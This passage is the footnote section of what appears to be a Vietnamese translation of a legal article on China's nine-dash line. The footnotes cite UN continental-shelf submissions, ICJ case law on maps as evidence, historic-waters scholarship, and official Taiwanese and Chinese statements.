http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/vnm2009n_executivesummary.pdf. Như chỉ ra trong thư của TTK LHQ, hồi đáp đã nhận, bản đệ trình chung này đã nộp ngày 7/5/2009, xem trực tuyến: UN http://www.un.org/depts/los/clcs_new/submissions_files/vnm37_09/vnm_clcs37_2009e.pdf.</div> <div> [9] United Nations Convention on the Law of the Sea, 10 December 1982, 1833 U.N.T.S. 397 (entered into force 16 November 1994), online: UN http://www.un.org/Depts/los/convention_agreements/texts/unclos/unclos_e.pdf [UNCLOS], art. 76(8).</div> <div> [10] Do Malaysia và Việt Nam phê chuẩn UNCLOS ngày 14 tháng 10, 1996 và 25 tháng Bảy năm 1994, tương ứng, hạn chót nộp hồ sơ của họ bình thường theo Phụ lục II của nó, Điều. 4, phải là năm 2006 và 2004, tương ứng. Nhưng vì nhiều nước gặp phải khó khăn trong việc đáp ứng hạn chót này của Phụ lục II, vào năm 2001 các nước thành viên UNCLOS đã quyết định sử dụng một điểm khởi đầu để xác định thời hạn này: ngày thông qua CLCS Hướng dẫn Khoa học và Kỹ thuật đã trở thành điểm khởi đầu của thời kỳ 10 năm thay vì ngày UNCLOS bắt đầu có hiệu lực. Xem Decision Regarding the Date of Commencement of the Ten-Year Period for Making Submissions to the Commission on the Limits of the Continental Shelf Set Out in Article 4 of Annex II to the United Nations Convention on the Law of the Sea, Meeting of State Parties, UN Doc. SPLOS/72 (2001). Đối với tất cả các nước mà UNCLOS đã có hiệu lực trước ngày 13/5/1999, gồm cả Malaysia and Vietnam thì ngày 12 /5/2009 trở thành ngày hạn chót mới.</div> <div> </div> <div> [11] Bản đồ này được in lại trong Phụ lục Iở cuối bài viết này.</div> <div> </div> <div> [12] Xem thêm NGUYEN Hong Thao, ‘‘Vietnam and Maritime Delimitation’’ in Ramses AMER và ZOU Keyuan, eds., Conflict Management and Dispute Settlement in East Asia (Farnham, Burlington: Ashgate, 2011), 171 at 184, ông lưu ý rằng đây là dịp đầu tiên CHNDTH bày tỏ vị thế chính thức của họ về đường 9 chấm.</div> <div> </div> <div> [13] People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/17/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/chn_2009re_mys_vnm_e.pdf.; People’s Republic of China, ‘‘Letter to the Secretary-General of the United Nations—CML/18/2009’’ (7 May 2009), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/vnm37_09/chn_2009re_vnm.pdf . The map was attached to these letters. It was also reproduced in the following Chinese sources: (2009) 9 China Oceans Law Review at 200 and 202 and ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2009) 9 Chinese Journal of International Law at 622.</div> <div> [14] Paracel Islands (quẩn đảo Hoàng Sa).</div> <div> </div> <div> [15] Spratly Islands (quẩn đảo Trường Sa).</div> <div> </div> <div> [16] Macclesfield Bank (bãi cạn Macclesfiled).</div> <div> </div> <div> [17] Pratas Islands (quẩn đảo Pratas).</div> <div> </div> <div> [18] Hu, supra note 6 at 204–6.</div> <div> </div> <div> [19] See Erik FRANCKX, ‘‘American and Chinese Views on Navigational Rights of Warships’’ (2011) 10 Chinese Journal of International Law 187 at 196, với tài liệu tham khảo thêm ở chú thích 48 chỉ ra rằng một số học giả phương Tây có khuynh hướng xem nó là sự chuẩn nhận cho yêu sách về quyền sở hữu lịch sử, trong khi các học giả khác nghĩ ngước lại căn cứ trên điều mà việc làm rõ không có nêu lên, tức là bất kỳ quy chiếu cụ thể nào tới vùng nước lịch sử.</div> <div> </div> <div> [20] Republic of the Philippines, ‘‘Letter to the Secretary-General of the United Nations—No. 000228’’ (5 April 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/phl_re_chn_2011.pdf. Vietnam issued a response to both the Philippines and the PRC, yet refrained from giving any interpretation to these terms. Vietnam, ‘‘Letter to the Secretary-General of the United Nations—77/HC-2011’’ (3 May 2011), online: UN http://www.un.org/Depts/los/clcs_new/submissions_files/mysvnm33_09/vnm_2011_re_phlchn.pdf.</div> <div> [21] People’s Republic of China, supra note 4.</div> <div> </div> <div> [22] People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (7 July 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t838221.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (28 June 2011), online: Ministry of Foreign Affairs http://www.fmprc.gov.cn/eng/xwfw/s2510/2511/t835066.htm; People’s Republic of China, ‘‘Foreign Ministry Spokesperson Hong Lei’s Regular Press Conference’’ (21 June 2011), online: Ministry of Foreign Affairs http:// www.fmprc.gov.cn/eng/xwfw/s2510/2511/t833157.htm; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2010’’ (2011) 10 Chinese Journal of International Law 427 at 438.</div> <div> </div> <div> [23] . Trong nhiều dịp trước công hàm 2009,TQ tái khẳng định chủ quền ‘‘không thể tranh cãi (indisputable)’’ or ‘‘không thể chối cãi (undeniable)” của họ đối với quần đảo Trường Sa và Hoàng Sa. Xem ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2009’’ (2010) 9 Chinese Journal of International Law 607 at 612; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2008’’ (2009) 8 Chinese Journal of International Law 493 at 504–5; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2007 (I)’’ (2008) 7 Chinese Journal of International Law 485 at 498–9; ZHU Lijiang, ‘‘Chinese Practice in Public International Law: 2006 (II)’’ (2007) 6 Chinese Journal of International Law 711 at 760; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2004 (II)’’ (2005) 4 Chinese Journal of International Law 607 at 630–1; CHEN Qiang, ‘‘Chinese Practice in Public International Law: 2003 (II)’’ (2004) 3 Chinese Journal of International Law 591 at 598–9; PRC Ministry of Foreign Affairs, ‘‘China’s Indisputable Sovereignty over the Xisha and Nansha Islands’’, (1980) 7 Beijing Review 15, discussed in Otani Yoshio, ‘‘À qui appartient l’archipel des Spratley? Un point de vue sur les revendications chinoises’’ (1996) 1 Annuaire du droit de la mer 179.</div> <div> </div> <div> [24] Charles C. Hyde, ‘‘Maps as Evidence in International Boundary Disputes’’ (1933) 27 American Journal of International Law 311 at 315; Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ in Myron H. NORDQUIST and John Norton MOORE, eds., Security Flashpoints: Oil, Islands, Sea Access and Military Confrontation (The Hague: Nijhoff, 1998), 109 at 113; F. MU¨ NCH, ‘‘Maps’’ in R. BERNHARDT, ed., Max Planck Encyclopedia of Public International Law vol. III (Amsterdam: Elsevier Science, 1995), 287 at 288; T.S. MURTI, ‘‘Boundaries and Maps’’ (1964) 4 Indian Journal of International Law 367 at 388; Daniel SCHAEFFER, ‘‘L’interprétation du droit de la mer par la Chine: ses effets majeurs en Extrême-Orient’’ (2008) 13 Annuaire du droit de la mer 23 at 43; Georg RESS, ‘‘The Delimitation and Demarcation of Frontiers in International Treaties and Maps’’ (1985) 14 Thesaurus Acroasium 435 at 443.</div> <div> </div> <div> [25] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [26] Policy Guidelines for the South China Sea, Point 1, 10 March 1993, in SUN Kuan-Ming, ‘‘Policy of the Republic of China Towards the South China Sea: Recent Developments’’ (1995) 19 Marine Policy 401 at 408 (Annex I).</div> <div> </div> <div> [27] Dzurek, supra note 3 at 13.</div> <div> </div> <div> [28] Republic of China (Taiwan), Statement (1 July 1999), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52353&ctNode51902&mp56.</div> <div> </div> <div> [29] PAN Shiying, ‘‘South China Sea and the International Practice of the Historic Title’’, Conference on the South China Sea, American Enterprise Institute, Washington, 7–9 September 1994, referenced in ZOU Keyuan, ‘‘Historic Rights in International Law and in China’s Practice’’ (2001) 32 Ocean Development and International Law 149 at 161, note 97; SONG Yann-huei and Peter Kien-hong YU, ‘‘China’s ‘Historic Waters’ in the South China Sea: An Analysis from Taiwan, R.O.C.’’ (1994) 12 American Asian Review 83.</div> <div> </div> <div> [30] ZHAO Guocai, ‘‘Analysis of the Sovereign Dispute over the Spratlys under the Present Law of Sea’’ (1999) 9 Asian Review at 22 (in Chinese), translated in Li and Li, supra note 4 at 293. Tuy nhiên, cần nêu rõ rằng không phải mại chuyên gia pháp lý Đài Loan đều ủng hộ các tiếp cận yêu sách vùng nước lịch sử dù có lập trường chính thức của chính phủ của họ. Xem ZOU Keyuan, ‘‘China and Maritime Boundary Delimitation: Past, Present and Future’’ in Amer and Zou, eds., supra note 15, at 160.</div> <div> </div> <div> [31] . See Andrea GIOIA, ‘‘Historic Titles’’ in Rudiger WOLFRUM, ed., The Max Planck Encyclopedia of Public International Law (Oxford: Oxford University Press, 2008), online: MPEPIL http:// www.mpepil.com.</div> <div> </div> <div> [32] Zou, supra note 33 at 152.</div> <div> </div> <div> [33] Juridical Regime of Historic Waters, Including Historic Bays, Study Prepared by the Secretariat, UN Doc. A/CN.4/143 (1962), (1962) 2 Yearbook of the International Law Commission 1 [Historic Waters Study].</div> <div> </div> <div> [34] Ibid., at 13. Nghiên cứu này còn nêu khả năng về một đòi hỏi thứ tư (biện minh “trên cơ sở nhu cầu kinh tế, an ninh quốc gia, lợi ích sống còn hay một căn cứ tương tự”) nhưng chưa có sự đồng thuận cao về đòi hỏi này. Tuy nhiên, ngưới ta cần phải hoàn thành danh sách này với một đòi hỏi tổng quát hơn rằng quền sở hữu lịch sử phải thật rõ ràng. Xem Ahmed ABOU-EL-WAFA, ‘‘Les différends internationaux concernant les frontières terrestres dans la jurisprudence de la Cour internationale de justice’’ (2010) 343 Collected Courses of the Hague Academy of International Law 9 at 397.</div> <div> </div> <div> [35] Zou, supra note 33 at 161 and references, supra note 25.</div> <div> </div> <div> [36] For a treatment of both positions, xem Historic Waters Study, supra note 36 at 16–19.</div> <div> </div> <div> [37] Xem, chẳng hạn,bằng tiếng Anh, Markus KOTZUR, ‘‘Intertemporal Law’’ in WOLFRUM, ed., supra note 24. Một phân tích chi tiết hơn bằng tiếng Pháp, xem Paul TAVERNIER, Recherches sur l’application dans le temps des actes et des règles en droit international public (problèmes de droit intertemporel ou de droit transitoire) (Paris: Librairie générale de droit et de jurisprudence).</div> <div> </div> <div> [38] See Hasjim DJALAL, ‘‘South China Sea Island Disputes’’ (2000) The Raffles Bulletin of Zoology</div> <div> (Supplement No. 8) 9.</div> <div> </div> <div> [39] Clive Ralph SYMMONS, Historic Waters in the Law of the Sea: A Modern Re-appraisal (Leiden: Nijhoff, 2008) at 17–37. Đưa ra một lập luận tương tự trên cơ sở công trình của Uỷ ban Luật quốc tế về dàn ý của công ước 1958 cũng như trên cơ sở UNCLOS, see Franckx, supra note 22 at 197, and especially note 50.</div> <div> </div> <div> [40] Lần duy nhất TQ được nêu liên quan tới yêu sách lịch sử của Liên Xô cũ đối với Vịnh Peter the Great (Symmons, supra note 42 at 144).</div> <div> </div> <div> [41] Tullio SCOVAZZI, ‘‘Book Review of ‘Historic Waters in the Law of the Sea: A Modern Re-appraisal by Clive Ralph Symmons, Leiden, Martinus Nijhoff, 322 pp., 2008’ ’’ (2010) 25 International Journal of Marine and Coastal Law 637 at 642. See also ibid., at 639–40 and in the same sense Symmons, supra note 42, at 242–5, 299–300. Continental Shelf (Tunisia/Libyan Arab Jamahiriya), [1982] I.C.J. Rep. 18 at 73–4:</div> <div> Không có định nghĩa về khái niệm lẫn nghiên cứu về chế độ pháp lý của ‘‘vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’. Tuy nhiên, có các quy chiếu về ‘‘vịnh lịch sử’’ hay ‘‘quyền sở hữu lịch sử’’ hay các lí lẽ lịch sử theo hướng tạo nên một bảo lưu cho các quy tắc xác lập từ đó trở đi. Vấn đề này dường như rõ ràng tiếp tục bị điều tiết bởi luật quốc tế chung, luật này không đưa ra một” chế độ” đơn nhất cho ‘‘các vùng nước lịch sử’’ hay ‘‘vịnh lịch sử’’, nhưng chỉ cho một chế độ đặc biệt cho mỗi trường hợp cụ thể đã được thừa nhận về “vùng nước lịch sử” hay “vịnh lịch sử”.</div> <div> </div> <div> [42] Lập luận này được đưa ra trong WU Fengbing, ‘‘Historical Evidence of China’s Ownership of the Sovereignty over the Spratly Islands’’ in China Institute for Marine Development Strategy, ed., Selected Papers of the Conference on the South China Sea Islands (Beijing: Ocean Press, 1992) at 111 (in Chinese), referenced in Zou, supra note 33 at 161, note 98.</div> <div> </div> <div> [43] Nói chung, xem Franckx, Benatar, Joe, and Van den Bossche, supra note 2. Nói cụ thể hơn về Biển Đông, xem NGUYEN Hong Thao, Le Vietnam et ses différends maritimes dans la Mer de Bien Dong (Mer de Chine méridionale) (Paris: Pedone, 2004) at 258.</div> <div> </div> <div> [44] Như đã nêu ở supra note 2, Vietnam gọi khu vực này là ‘‘Biển Đông’’ (‘‘East Sea’’). Xem National Border Committee under the Ministry of Foreign Affairs of Vietnam, online: National Border Committee www.biengioilanhtho.gov.vn/bbg-vie/home.aspx.</div> <div> </div> <div> [45] International Hydrographic Organization, Limits of Oceans and Seas, 3rd ed. (Monte-Carlo: Imp. Mone´gasque, 1953) at preface and 30, online: IHO http://www.iho-ohi.net/iho_pubs/standard/S-23/S23_1953.pdf. Old maps also use this denomination merely due to the fact that historically European navigators encountered predominantly Chinese ships. See Y. LACOSTE, ‘‘Mer de Chine ou mer de l’Asie du Sud-Est’’ (1981) 24 Hérodote at 13, referenced in Nguyen, supra note 46 at 257</div> <div> </div> <div> [46] Nguyen, supra note 46 at 257.</div> <div> </div> <div> [47] Republic of China (Taiwan), ‘‘Statement of the Ministry of Foreign Affairs concerning the Declaration on the Conduct of Parties in the South China Sea signed by the Association of Southeast Asian Nations (ASEAN) and the People’s Republic of China (PRC) in Cambodia on November 4, 2002’’ (5 November 2002), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem52357&ctNode51902&mp56:</div> <div> Chính phủ THDQ tái khẳng định chủ quyền lãnh thổ trên quần đảo Đông Sa (quần đảo Pratas), Tây Sa (quần đảo Hoàng Sa), Trung Sa (bãi cạn Macclesfield) và Nam Sa (Trường Sa) trong Biển Đông, Đối với các quần đảo này THDQ có tất cảquyền hợp pháp theo luật quốc tế;</div> <div> Republic of China (Taiwan), ‘‘The Position of the Ministry of Foreign Affairs on Taiwan’s Sovereignty over Islands in the South China Sea’’ (20 November 2007), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem527782&ctNode51903&mp56.</div> <div> Quần đảo Trường Sa, quần đảo Hoàng Sa, bãi Macclesfield và quần đảo Pratas luôn luôn là phần cố hữu của các vùng lãnh thổ Đài Loan, dù nhìn từ quan điểm của lịch sử địa lý, pháp luật quốc tế hay thực tế đơn giản. Theo các nguyên tắc của luật pháp quốc tế, chủ quyền đối với các quần đảo này của chính phủ Đài Loan là không thể nghi ngờ và Đài Loan hưởng tất cả các quyền tương ứng;</div> <div> Republic of China (Taiwan), ‘‘The Government of the Republic of China (Taiwan) Reiterates its Sovereignty over the Spratly Islands and has Proposed a Spratly Initiative that Focuses on Environmental Protection Instead of Sovereignty Disputes’’ (15 August 2008), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem532920&ctNode51903&mp56: </div> <div> Quần đảo Trường Sa, bao gồm cả rạn san hô Swallow (đảo san hô Layang-Layang), nằm trong vùng lãnh hải của Đài Loan. Dù theo quan điểm pháp lý, lịch sử địa lý hoặc luật quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas và các vùng nước lân cận là một phần của lãnh thổ và lãnh hải của Đài Loan;</div> <div> Republic of China (Taiwan), ‘‘Solemn Declaration of the Ministry of Foreign Affairs of the Republic of China concerning the Philippine Senate Bill 2699 and House Bill 3216’’ (6 February 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/ct.asp?xItem536914&ctNode51902&mp56:</div> <div> Dù từ góc độ lịch sử, địa lý, thực tế hay luật pháp quốc tế, quần đảo Trường Sa, quần đảo Hoàng Sa, quần đảo Macclesfield, quần đảo Pratas, cũng như các vùng biển xung quanh, là các vùng lãnh thổ hiện hữu của THDQ. Sự kiện rằng chủ quyền của các khu vực này thuộc về chính phủ của chúng tôi là không thể phủ nhận, Đài Loan được hưởng và xứng đáng với tất cả các quyền tương ứng. Bất kỳ yêu sách chủ quyền nào đối với, hoặc sự chiếm cứ, các quần đảo này và vùng nước xung quanh sẽ không được chính phủ THDQ thừa nhận.</div> <div> </div> <div> [48] Republic of China (Taiwan), ‘‘Declaration of the Republic of China on the Outer Limits of Its Continental Shelf, no 003’’ (12 May 2009), online: Ministry of Foreign Affairs http://www.mofa.gov.tw/webapp/content.asp?cuItem538077&ctNode51036&mp56.</div> <div> </div> <div> [49] Hasjim DJALAL, ‘‘Conflicting Territorial and Jurisdictional Claims in South China Sea’’ (1979) 7(1) The Indonesian Quarterly 36 at 41–2.</div> <div> </div> <div> [50] Robert W. SMITH, ‘‘Maritime Delimitation in the South China Sea: Potentiality and Challenges’’ (2010) 41 Ocean Development and International Law 214 at 224. Xem thêm GAO Zhiguo, ‘‘The South China Sea: From Conflict to Cooperation?’’ (1994) 25 Ocean Development and International Law 345 at 346: ‘‘nghiên cứu tỉ mỉ các tài liệu Trung Quốc cho thấy rằng Trung Quốc không bao giờ tuyên bố chủ quyền toàn bộ cột nước của vùng biển Biển Đông mà chỉ là các đảo và vùng biển xung quanh bên trọng đường này.’’ Xem thêm phát biểu của Wang Xiguang (Uông Hi Quang), người đã giúp Cục Địa lý Bộ Nội Chính trong việc chế tác các bản đồ trong những năm 1940 và dùng cùng một kỹ thuật nhưng đi đến một kết quả khác: ‘‘đường biên giới quốc qia chấm chấm được vẽ như là trung tuyến giữa TQ và các nước liền kề’’, trong XU Sen’an, ‘‘The Connotation of the 9-Dotted Line on the Chinese Map of the South China Sea’’ trong ZHONG Tianxiang, ed., Paper Selections of the Seminar on ‘‘The South China Sea in the 21st Century: Problems and Perspective’’ (Hainan Research Center of the South China Sea, 2000) at 80 (in Chinese), translated in Li and Li, supra note 4 at 290.</div> <div> </div> <div> [51] Dzurek, supra note 3 at 11.</div> <div> </div> <div> [52] Một quyển sách nói về cách giải quyết các vần đề này , xem Monique CHEMILLIER-GENDREAU, Sovereignty over the Paracel and Spratly Islands (The Hague: Kluwer Law International, 2000).</div> <div> </div> <div> [53] Anna RIDDELL and Brendan PLANT, Evidence Before the International Court of Justice (London: British Institute of International and Comparative Law, 2009) at 31.</div> <div> </div> <div> [54] Frontier Dispute (Burkina Faso/Republic of Mali), [1986] I.C.J. Rep. 554 at 582, para. 54.</div> <div> </div> <div> [55] Kasikili/Sedudu Island (Botswana/Namibia), [1999] I.C.J. Rep. 1045 at 1098, para. 84, nêu: “Tòa án sẽ bắt đầu bằng việc nhắc lại những gì mà Ban thẩm phán (Chamber) xử vụ tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) phải nói về giá trị chứng cứ của bản đồ”; Tranh chấp lãnh thổ và biển giữa Nicaragua and Honduras trong biển Caribbean (Nicaragua v. Honduras), [2007] I.C.J. Rep. 659 at 723, para. 215, nêu: “Toà án tái khẳng định lập trường của họ trước đây liên quan đến phạm vi vô cùng hạn chế của bản đồ như là một nguồn về quyền sở hữu chủ quyền”; Tranh chấp biên giới (Benin/Niger), [2005] I.C.J. Rep. 90 at 119–20, para. 44, nêu: “nguyên tắc này [như mô tả trong tranh chấp biên giới (Burkina Faso / Cộng hòa Mali) cũng sẽ hướng dẫn Ban Thẩm phán trong việc đánh giá các bản đồ mà các Bên trong trường hợp hiện tại dựa vào”; Sovereignty over Pulau Ligitan and Pulau Sipadan (Indonesia/Malaysia), [2002] I.C.J. Rep. 625 at 667, para. 88; Maritime Delimitation and Territorial Questions between Qatar and Bahrain (Qatar v. Bahrain), Separate Opinion of Judge Kooijmans, [2001] I.C.J. Rep. 225 at 242, para. 68.</div> <div> </div> <div> [56] Patrick DAILLIER, Mathias FORTEAU, and Alain PELLET, Droit international public, 8th ed. (Paris: L.G.D.J., 2009) at 524, para. 301.</div> <div> </div> <div> [57] Một bàn luận về khả năng hạn chế này, xem Maurice KAMTO, ‘‘Le matériau cartographique dans les contentieux frontaliers et territoriaux internationaux’’ in Emile YAKPO and Tahar BOUMEDRA, eds., Liber Amicorum Judge Mohammed Bedjaoui (The Hague: Kluwer, 1999) at 371–98.</div> <div> </div> <div> [58] Riddell and Plant, supra note 56 at 266.</div> <div> </div> <div> [59] ZHAO Lihai, Studies on the Law of Sea (Beijing: Beijing University Press, 1996) at 37 (in Chinese), translated in Li and Li, supra note 4 at 291.</div> <div> </div> <div> [60] JIAO Yongke, ‘‘There Exists No Question of Redelimiting Boundaries in the Southern Sea’’ (2000) 17 Ocean Development and Management at 52 (in Chinese), translated in Michael STRUPP, ‘‘Maritime and Insular Claims of the PRC in the South China Sea under International Law’’ (2004) 11 Zeitschrift fu¨ r chinesisches Recht 1 at 16.</div> <div> </div> <div> [61] Zou, supra note 33 at 160.</div> <div> </div> <div> [62] Grisbadarna Case (Norway v. Sweden), Decision of 23 October 1909, [1910] 4 American Journal of International Law 226 at 231, nêu rằng: ‘‘lãnh hải là thứ phụ thuộc chính yếu của lãnh thổ đất liền’’ (translation from the original French, [2006] XI Reports of International Arbitral Awards 159); North Sea Continental Shelf (Federal Republic of Germany/Denmark; Federal Republic of Germany/Netherlands), [1969] I.C.J. Rep. 3 at 51, para. 96: ‘‘Trong cả hai trường hợp [vùng tiếp giáp lãnh hải và thềm lục địa] nguyên tắc được áp dụng là đất thống trị biển’’. Nghiên cứu sâu hơn và các trường hợp của nguyên tắc này, xem Abou-el-Wafa, supra note 37 at 88–90.</div> <div> </div> <div> [63] Fisheries Case (United Kingdom v. Norway), [1951] I.C.J. Rep. 116 at 132.</div> <div> </div> <div> [64] UNCLOS, supra note 12, has been ratified by all interested parties in the South China Sea dispute with the exception of Taiwan (Vietnam: 25 July 1994, PRC: 7 June 1996, Philippines: 8 May 1984,Malaysia: 14 October 1996, Brunei: 5 November 1996, Myanmar: 21 May 1996, and Thailand: 15 May 2011), online: UN http://www.un.org/Depts/los/reference_files/chronological_lists_of_ratifications.htm.</div> <div> </div> <div> [65] Ibid.</div> <div> </div> <div> [66] Một cách tiếp cận mới giới hạn đáng kể khả năng áp dụng ngoại lệ củaĐiều 121(3) đối với việc phân giới trên biển, xem Bernard H. OXMAN, ‘‘On Rocks and Maritime Delimitation’’ in Mahnoush H. ARSANJANI, Jacob Katz COGAN, Robert D. SLOANE, and Siegfried WIESSNER, eds., Looking to the Future: Essays on International Law in Honor of W. Michael Reisman (Leiden/Boston: Martinus Nijhoff, 2011), 893. Theo lý luận của tác giả, những tranh cãi liên quan đến ý nghĩa chính xác của việc cư trú của con người và đời sống kinh tế sẽ ít quan trọng hơn, bởi vì trong giai đoạn phân giới các đảo nhỏ thường chỉ đóng một vai trò nhỏ.</div> <div> </div> <div> [67] Alex G. Oude ELFERINK, ‘‘The Islands in the South China Sea: How Does Their Presence Limit the Extent of the High Seas and the Area and the Maritime Zones of the Mainland Coasts?’’ (2001) 32 Ocean Development and International Law 169 at 182. See also Marius GJETNES, ‘‘The Spratlys: Are They Rocks or Islands?’’ (2001) 32 Ocean Development and International Law 191 at 199–201; Barry Hart DUBNER, ‘‘The Spratly ‘Rocks’ Dispute: A ‘Rockapelago’ Defies Norms of International Law’’ (1995) 9 Temple International and Comparative Law Journal 291 at 299–306.</div> <div> </div> <div> [68] Nó liên quan đến những hành động do TQ thực hiện bởi để đưa vào các mục bổ sung cho chương trình nghị sự tại cuộc họp năm 2009 của các nước thành viên UNCLOS và kỳ họp lần thứ 15 của Cơ quan đáy biển quốc tế (ISA) một năm sau đó. Xem Erik FRANCKX, ‘‘The International Seabed Authority and the Common Heritage of Mankind: The Need for States to Establish the Outer Limits of Their Continental Shelf’’ (2010) 25 International Journal of Marine and Coastal Law 543 at 563–4. Những nỗ lực như vậy được lặp vào thời điểm Hội nghị của các nước thành viên UNCLOS năm 2011 nhưng không lặp lại tại cuộc họp lần của ISA khoảng một tháng sau đó.</div> <div> </div> <div> [69] Như chỉ rõ qua danh nghĩa đại diện của giáo sư Jia Yu, đưa ra trong một buổi báo cáo tóm tắt của ISA năm 2009. Mặc dù đóng góp này có tiêu đề là ‘‘Safeguarding the Common Heritage of Mankind’’(Bảo vể di sản chung của loài người) trong công bố cho báo chí của ISA (ISA, ‘‘Press Release SB/15/10’’ (June 2009) at 3, online: ISA http://www.isa.org.jm/files/documents/EN/Press/Press09/SB-15–10.pdf), các phim chiếu slides phân phát vào lúc đó tại buổi báo cáo tóm tắt lại có một tiêu đề cụ thể hơn, đó là ‘‘The Rock of Oki-no-Tori Shall Have No EEZ and Continental Shelf’’ (Mỏm đá Okinotori sẽ có EEZ và thềm lục địa mở rộng). Xem thêm Ted McDORMAN, ‘‘The South China Sea after 2009: Clarity of Claims and Enhanced Prospects for Regional Cooperation?’’ (2010) 24 Ocean Yearbook 507 at 514–15. Về chi tiết và các hành động sau này của các bên về mặt này, xem Yann-Huei SONG, ‘‘The Application of Article 121 of the Law of the Sea Convention to the Selected Geographical Features Situated in the Pacific Ocean’’ (2010) 9 Chinese Journal of International Law 663 at 671–4.</div> <div> </div> <div> [70] Indonesia, ‘‘Letter to the Secretary-General of the United Nations—480/POL-703/VII/10’’ (8 July 2010), online: UN http://www.un.org/depts/los/clcs_new/submissions_files/mysvnm33_09/idn_2010re_mys_ vnm_e.pdf. Sự liên kết giữa các hành động can thiệp này với Biển Đông được trình bày trong công hàm này như sau:</div> <div> Về mặt này, các phát biểu của các đại diện ưu tú của CHNDTH cũng liên quan đến tình hình ở Biển Đông và do đó thật đúng khi nêu rằng những thể địa lý rất nhỏhoặc ở xa xôi ở Biển Đông không xứng đáng được hưởng vùng đặc quyền kinh tế hay thềm lục địa của riêng mình. Cho phép sử dụng các mỏm đá, các rạn san hô và đảo san hô vòng không có người ở cô lập với đất liền và ở giữa biển khơi như một điểm cơ sở để tạo ra các khu vực biển gây quan ngại tới các nguyên tắc cơ bản của Công ước [1982] và xâm phạm lợi ích chính đáng của cộng đồng toàn cầu. Vì thế,như được chứng thực bởi những phát biểu trên, cái gọi là “bản đồ đường 9 chấm” rõ ràng thiếu cơ sở pháp lý quốc tế và đồng nghĩa với việc đảo lộn… Công ước 1982.</div> <div> </div> <div> [71] Xem bộ phận luật án lệ rộng hơn và ý kiến các học giả nêu trong Gérard NIYUNGEKO, La preuve devant les juridictions internationales (Brussels: Bruylant, 2005) at 322–35, and more recently Case concerning Pulp Mills on the River Uruguay (Argentina v. Uruguay), [2010] I.C.J. Rep. 1 at 52, para. 168.</div> <div> </div> <div> [72] Raphae¨le RIVIER, ‘‘La preuve devant les juridictions interetatiques à vocation universelles (CIJ et TIDM)’’ in Hélène Ruiz FABRI and Jean-Marc SOREL, eds., La preuve devant les juridictions internationales (Paris: Pedone, 2007), 9 at 38–48. More generally, judicial bodies select the facts they deem pertinent in a discretionary manner. Xem Jean SALMON, ‘‘Le fait dans l’application du droit international’’ (1982) 175 Collected Courses of the Hague Academy of International Law 261 at 300. For a critical approach to the freedom of judges with respect to weighing evidence, see Rudiger WOLFRUM, ‘‘Taking and Assessing Evidence in International Adjudication’’ in Tafsir Malick NDIAYE and Rudiger WOLFRUM, eds., Law of the Sea, Environmental Law and Settlement of Disputes: Liber Amicorum Judge Thomas A. Mensah (Leiden: Martinus Nijhoff, 2007), 341 at 342; Patrick KINSCH, ‘‘On the Uncertainties Surrounding the Standard of Proof in Proceedings before International Courts and Tribunals’’ in Gabriella VENTURINE and Stafania BARIATTI, eds., Liber Fausto Pocar—Diritti individuali e giustizia internazionale, vol. 1 (Milan: Giuffre`, 2009), 427 at 438–9; Chittharanjan F. AMERASINGHE, Evidence in International Litigation (Leiden: Martinus Nijhoff, 2005) at 232–61.</div> <div> </div> <div> [73] Mặc dù không có học thuyết về việc dựa vào tiền lệ (stare decisis) trong luật quốc tế, tòa và tòa án quốc tế thường trích dẫn luật án lệ. Điều này đặc biệt đúng đối với ICJ, là toà có tính tự tham chiếu cao độ và sẽ chỉ đi chệch khỏi án lệ trong quá khứ khi có các lý do đáng kể. Xem Alan BOYLE and Christine CHINKIN, The Making of International Law (Oxford: Oxford University Press, 2007) at 293–9; Gilbert GUILLAUME, ‘‘The Use of Precedent by International Judges and Arbitrators’’ (2011) 2 Journal of International Dispute Settlement 5 at 12.</div> <div> </div> <div> [74] Frontier Dispute, supra note 57 at 582, para. 55, nêu: ‘‘trọng lượng phân cho các bản đồ với tư cách bằng chứng phụ thuộc vào một số lớn các cân nhắc”; Qatar v. Bahrain, supra note 58, Dissenting Opinion of Judge Torres Berna´rdez at 274, para. 37, stating: ‘‘[t]he weight of maps as evidence depends on a range of considerations.’’</div> <div> </div> <div> [75] Xem Case concerning the Delimitation of Maritime Boundary between Guinea-Bissau and Senegal (Guinea- Bissau/Senegal), Decision of 31 July 1989, Dissenting Opinion of Mr. Mohammed Bedjaoui, [2006] XX Reports of International Arbitral Awards 119 at 166–9, paras. 32–7 (lập luận chống lại một chuyển vị tự động các nguyên tắc lãnh thổ sang phân định biển cho các khác biệt “hiển nhiên” và “không thể giảm hơn” về mặt địa lý, mối quan hệ của chúng với các quyền của các dân tộc và các quốc gia quyền đối với các vùng này); Lea BRILMAYER and Natalie KLEIN, ‘‘Land and Sea: Two Common Sovereignty Regimes in Search of a Common Denominator’’ (2001) 33 New York University Journal of International Law and Politics 703 at 703–4 (noting 15 </div> <div> </div> <div> [76] Xem các ví 